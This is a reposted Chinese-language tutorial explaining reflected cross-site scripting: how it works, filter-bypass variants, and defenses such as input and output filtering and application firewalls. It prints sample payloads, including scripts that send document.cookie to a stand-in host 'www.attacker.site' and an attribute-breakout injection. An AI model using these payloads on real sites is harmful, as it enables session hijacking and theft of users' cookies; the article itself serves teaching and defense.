深入解析跨站點腳本攻擊(XSS)

←手機掃碼閱讀     火星人 @ 2014-03-09 , reply:0

本文詳細講解一下跨站腳本攻(擊XSS)原理及預防方法.

在跨站腳本攻擊中會發生什麼

跨站腳本攻擊(cross-site scripting,簡稱 XSS),是黑客用來潛入Web應用程序的最普遍的應用程序層攻擊之一.XSS 是針對特殊Web站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全威脅.

大部分網站攻擊只涉及兩個群體:黑客和Web站點,或者黑客和客戶端受害者.與那些攻擊不同的是,XSS 攻擊同時涉及三個群體:黑客、客戶端和Web站點.

XSS 攻擊的目的是盜走客戶端 cookies,或者任何可以用於在Web站點確定客戶身份的其他敏感信息.手邊有了合法用戶的標記,黑客可以繼續扮演用戶與站點交互,從而冒充用戶.舉例來說,在對一個大型公司的調查中表明,利用 XSS 攻擊窺視用戶的信用卡號碼和私有信息是可能的.這是通過利用Web站點的訪問特權,在受害者(客戶端)瀏覽器上運行惡意的 JavaScript 代碼來實現的.這些是非常有限的 JavaScript 特權,除了與站點相關的信息,一般不允許腳本訪問其他任何內容.重點強調的是,雖然Web站點上存在安全漏洞,但是Web站點從未受到直接傷害.但是這已經足夠讓腳本收集 cookies,並且將它們發送給黑客.因此,黑客獲得 cookies 並冒充受害者.

XSS 技術的深入解析

讓我們調用受攻擊的站點:www.vulnerable.site.傳統的 XSS 攻擊的核心處位於脆弱的站點中的脆弱的腳本.這些腳本讀取部分 HTTP 請求(通常是參數,但有時也有 HTTP 頭域或路徑),並且在首次不加密的情況下全部或部分地將其回送給響應頁面(因而,不確保它不包含 JavaScript 代碼或 HTML 標籤).因此,假設該腳本名為 welcome.cgi,其參數為 name.可以通過以下方式進行操作:

 GET /welcome.cgi?name=Joe Hacker HTTP/1.0 
Host: www.vulnerable.site

響應是:

  <HTML>       <Title>Welcome!</Title>       Hi Joe Hacker <BR>       Welcome to our system       ...       </HTML>

這是怎樣被盜用的呢?黑客設法引誘受害客戶點擊他們提供給用戶的鏈接.這是一個精心設計且蓄含惡意的鏈接,誘使受害者的Web瀏覽器訪問站點(www.vulnerable.site),並調用入侵腳本.

該腳本的數據里包含了用於非法訪問客戶端瀏覽器為 www.vulnerable.site 站點所存儲 cookies 的 JavaScript.這是允許的,因為客戶端瀏覽器「運行過」來自 www.vulnerable.site 的 JavaScript,並且 JavaScript 安全模型允許來自特殊站點的腳本訪問屬於該站點的 cookies.

這樣的鏈接如下:

http://www.vulnerable.site/welcome.cgi?name=
<script>alert(document.cookie)</script>       

受害者點擊鏈接之後將生成對 www.vulnerable.site 的請求,如下所示:

  GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0       Host: www.vulnerable.site ...

脆弱的站點的響應是:

  <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>       <BR> Welcome to our system ...       </HTML>  

受害者客戶端的瀏覽器將把該響應解釋為包含一段 JavaScript 代碼的 HTML 頁面.當執行時,該代碼被允許訪問所有屬於 www.vulnerable.site 的 cookies.因此,它將在客戶端瀏覽器中彈出一個窗口,顯示屬於 www.vulnerable.site 的所有客戶端 cookies.

當然,真正的惡意攻擊包含了將這些 cookies 發送給黑客的操作.對此,黑客可能建立Web站點(www.attacker.site)並使用腳本來接收 cookies.替代彈出窗口,黑客會書寫訪問 www.attacker.site 的 URL 的代碼,從而調用接收 cookie 的腳本,其參數設置為被竊取的 cookies.這樣,黑客可以從 www.attacker.site 伺服器上獲得 cookies.

惡意的鏈接會是:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open    ("http://www.attacker.site/collect       .cgi?cookie="+document.cookie)</script>       

響應頁面看起來像這樣:

  <HTML> <Title>Welcome!</Title> Hi       <script>window.open("http://www.attacker.site/collect.cgi?cookie=    " document.cookie)</script>       <BR>       Welcome to our system ... </HTML>   

載入該頁面的瀏覽器會立即執行內嵌的 JavaScript,並向 www.attacker.site 中的 collect.cgi 腳本發送請求,並附帶著瀏覽器已經擁有的 www.vulnerable.site 的 cookies 的值.這樣就泄漏了客戶端所擁有的 www.vulnerable.site 的 cookies.這將允許黑客冒充受害者.客戶的隱私就完全被破壞了.

注意:
引發 JavaScript 彈出窗口的出現通常足夠說明該站點容易受到 XSS 攻擊.如果可以調用 JavaScript Alert 方法,那麼通常沒理由 window.open 調用不成功.這就是為什麼大部分 XSS 攻擊的實例使用 Alert 方法,因為這很容易檢測其成功.

範圍和可行性

攻擊只會在受害者用於訪問站點(www.vulnerable.site)的同一個瀏覽器中發生.黑客需要強迫客戶端訪問惡意鏈接.這會以以下這些方式進行:

黑客發送包含強迫瀏覽器訪問該鏈接的 HTML 頁面的電子郵件消息.這要求受害者使用 HTML 有效的電子郵件客戶端,並且客戶端的 HTML 閱讀器是用於訪問 www.vulnerable.site 的同一個瀏覽器.
客戶端訪問可能受黑客運作的站點,其中的圖片鏈接或其他激活的 HTML 強迫瀏覽器訪問該鏈接.再次聲明,要求瀏覽器與訪問該站點和 www.vulnerable.site 的是同一個瀏覽器.

惡意的 JavaScript 可以訪問任何下列信息:

瀏覽器維護的(www.vulnerable.site 的)永久 cookies

瀏覽器實例維護的(www.vulnerable.site 的)RAM cookies,但只有當最近瀏覽 www.vulnerable.site 時發生.

為 www.vulnerable.site 打開的其他窗口的名稱

可以通過當前的 DOM 訪問的任何信息(如值、HTML 代碼,等等)

身份識別、驗證和授權標誌通常以 cookies 形式維護.

如果這些 cookies 是永久的,那麼即使不在訪問 www.vulnerable.site 的時候使用瀏覽器,受害者也是易受攻擊的.

然而,如果 cookies 是臨時的,例如 RAM cookies,那麼客戶端處於訪問 www.vulnerable.site 的會話中.

身份識別標誌的另一種可能的實現是通過 URL 參數.

在這種情況下,可以用這種方式使用 JavaScript 訪問其他窗口(假設帶有必要的 URL 參數的頁面的名稱為 foobar):

<script>var victim_window=open(",'foobar');alert('Can access:     '  victim_window.location.search)</script>  

跨站點腳本攻擊的多種情形

除了 <SCRIPT>,使用其他 HTML 標籤來運行 JavaScript 也是可能的.事實上,同樣可能的是,惡意的 JavaScript 代碼存儲在另一個伺服器上,並強迫客戶端下載該腳本並執行它,如果要運行許多代碼,或者代碼中包含特殊字元時,這是很有用.        

關於這些可能性的一些情形:
  • 除了 <script>...</script>,黑客可以使用 <img src="javascript:...">.這對於過濾 <script> HTML 標籤的站點來說很好用.
  • 除了 <script>...</script>,還可以使用 <script src="http://...">.這對於 JavaScript 代碼過長,或者其中包含了禁止字元時的情況是很好用的.

有時候,響應頁面中內嵌的數據處於非自由的 HTML 環境中.

在這種情況下,必要的是「逃」到自由的環境中,然後附加 XSS 攻擊.舉例來說,如果以 HTML 表單欄位的默認值注入數據:

...     <input type=text name=user value="...">     ...     

那麼在數據的開頭必需包含 "> ,從而逃到自由的 HTML 環境中.數據可能是:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=    " document.cookie)</script>    

結果得到的 HTML 是:

...     <input type=text name=user value=""><script>window.open    ("http://www.attacker.site/collect.cgi?cookie=" document.cookie)</script>">    ...     
執行傳統的 XSS 攻擊的其他方式

到此為止,我們已經看到 XSS 攻擊可以出現在用腳本回送響應的 GET 請求的參數中.

但是也可以用 POST 請求實現攻擊,或者利用 HTTP 請求的路徑組件 —— 甚至使用一些 HTTP 頭(例如 Referer).

特別是,當錯誤頁面返回錯誤的路徑時,路徑組件就有用了.

在這種情況下,包含在該路徑中的惡意腳本經常都會執行.已發現許多Web伺服器都容易受到這種攻擊.

什麼出了問題?

很重要的是要知道,雖然Web站點不直接受到這種攻擊的影響(站點繼續正常工作,惡意代碼不在站點上執行,不會出現 DoS 情況,並且數據不直接受控,或從站點上讀取),但是它仍舊是站點向其訪問者或客戶端提供的隱私保護機制中的缺陷.

這就像站點使用薄弱的安全標誌(security token)部署應用程序,藉此,黑客可以猜出客戶的安全標誌並冒充客戶.

應用程序中的脆弱點是不管參數值是什麼都回送參數的腳本.好的腳本確保參數的格式是適當的,包含合理的字元,等等.

有效的參數通常沒有合理的理由包含 HTML 標籤或 JavaScript 代碼,可靠起見,應該在這些內容嵌入響應之前,或者在應用程序中處理這些內容之前,將它們從參數中去掉.

如何保護站點不受 XSS 攻擊

用這三種方式可以保護站點不受 XSS 攻擊:

執行內部的輸入過濾(有時候稱為輸入清潔設備).對於內部書寫的每個腳本中的每個用戶輸入——參數或 HTTP 頭,都應該應用高級的 HTML 標籤(包括 JavaScript 代碼)過濾.

舉例來說,來自之前的案例研究中的 welcome.cgi 腳本在解碼 name 參數之後,應該過濾 <script> 標籤.該方法有一些嚴重的不利因素:

  1. 它要求應用程序的編程人員非常精通安全.
  2. 它要求編程人員覆蓋所有可能的輸入來源(查詢參數、POST 請求的 body 參數、HTTP 頭).
  3. 它不能抵禦第三方腳本或伺服器中的安全漏洞.舉例來說,它不能防禦Web伺服器錯誤頁面中的問題(通常顯示了資源的路徑).

執行「輸出過濾」,換句話說,當發回給瀏覽器時過濾用戶數據,而不是當被腳本接收時.

一個很好的示例是通過一個腳本將輸入數據插入到資料庫中,然後再從資料庫呈現數據.在這種情況下,重要的是不向原始的輸入字元串應用過濾,而只向輸出版本應用過濾.這種方法的缺陷類似於對輸入過濾的缺陷.

通過安裝第三方應用程序防火牆,防火牆在 XSS 攻擊到達Web伺服器和易受攻擊的腳本之前攔截它們,並阻塞它們.不論是來自內部應用程序的腳本或路徑、第三方腳本,或根本不描述資源的腳本(舉例來說,用來引起來自伺服器的 404 頁面響應的腳本),應用程序防火牆都可以以一般的方式覆蓋所有輸入方法(包括路徑和 HTTP 頭).對於每個輸入源,應用程序防火牆根據各種 HTML 標籤模式和 JavaScript 模式檢查數據.如果匹配成功,就拒絕該請求,惡意的輸入不會到達伺服器.

檢查您的站點是否處於 XSS 攻擊保護的方法

檢查站點免於遭受 XSS 攻擊是加強站點安全保護的必然結論.正如保護站點免於遭受 XSS 攻擊一樣,檢查站點的確安全也可以通過手工完成(硬方法),或利用自動的Web應用程序安全漏洞評估工具,它減輕了檢查的負擔.該工具爬遍站點,然後根據嘗試參數、頭,和路徑找到的所有腳本,運行其知道的所有變化.

在這兩種方法中,用儘可能多的方式檢查對應用程序的每個輸入(所有腳本的參數、HTTP 頭、路徑).如果響應頁面包含瀏覽器可以執行的 JavaScript 代碼,那麼 XSS 安全漏洞就已顯露出來.舉例來說,發送此文本:

<script>alert(document.cookie)</script>     

對每個腳本的每個參數(通過允許 JavaScript 的瀏覽器暴露出最簡單類型的 XSS 安全漏洞),如果將文本解釋為 JavaScript 代碼,那麼瀏覽器將彈出 JavaScript Alert 窗口.當然,還有很多其他情形,因此,只測試這種情形是不夠的.如您已經很了解的話,很可能將 JavaScript 注入請求的各種欄位中:參數、HTTP 頭,和路徑.儘管,在一些情況下(特別是 HTTP Referer 頭),很難利用瀏覽器執行攻擊.

總結

跨站腳本攻擊是黑客用來潛入Web應用程序的最普遍的應用程序層攻擊之一,並且是最危險的手段之一.它是針對特殊Web站點的客戶隱私的攻擊,當客戶詳細信息失竊或受控時可能引發徹底的安全問題.不幸的是,如本文所闡述的,這種攻擊經常在無需了解客戶或被攻擊組織情況的前提下就可以實現.

要防止Web站點受到這些惡意行為的攻擊,至關重要的是,組織要實現在線和離線的安全策略.這包括使用能夠自動化測試出站點中所有普遍的Web安全漏洞,和具體應用程序的安全漏洞(例如跨站腳本)的自動化安全漏洞評估工具.對於全面的在線防衛,同樣至關重要的是安裝可以檢測並抵禦任何對保存在Web伺服器上,或其背後的代碼和內容實施控制的防火牆應用程序.






[火星人 ] 深入解析跨站點腳本攻擊(XSS)已經有696次圍觀

http://coctec.com/docs/security/show-post-59658.html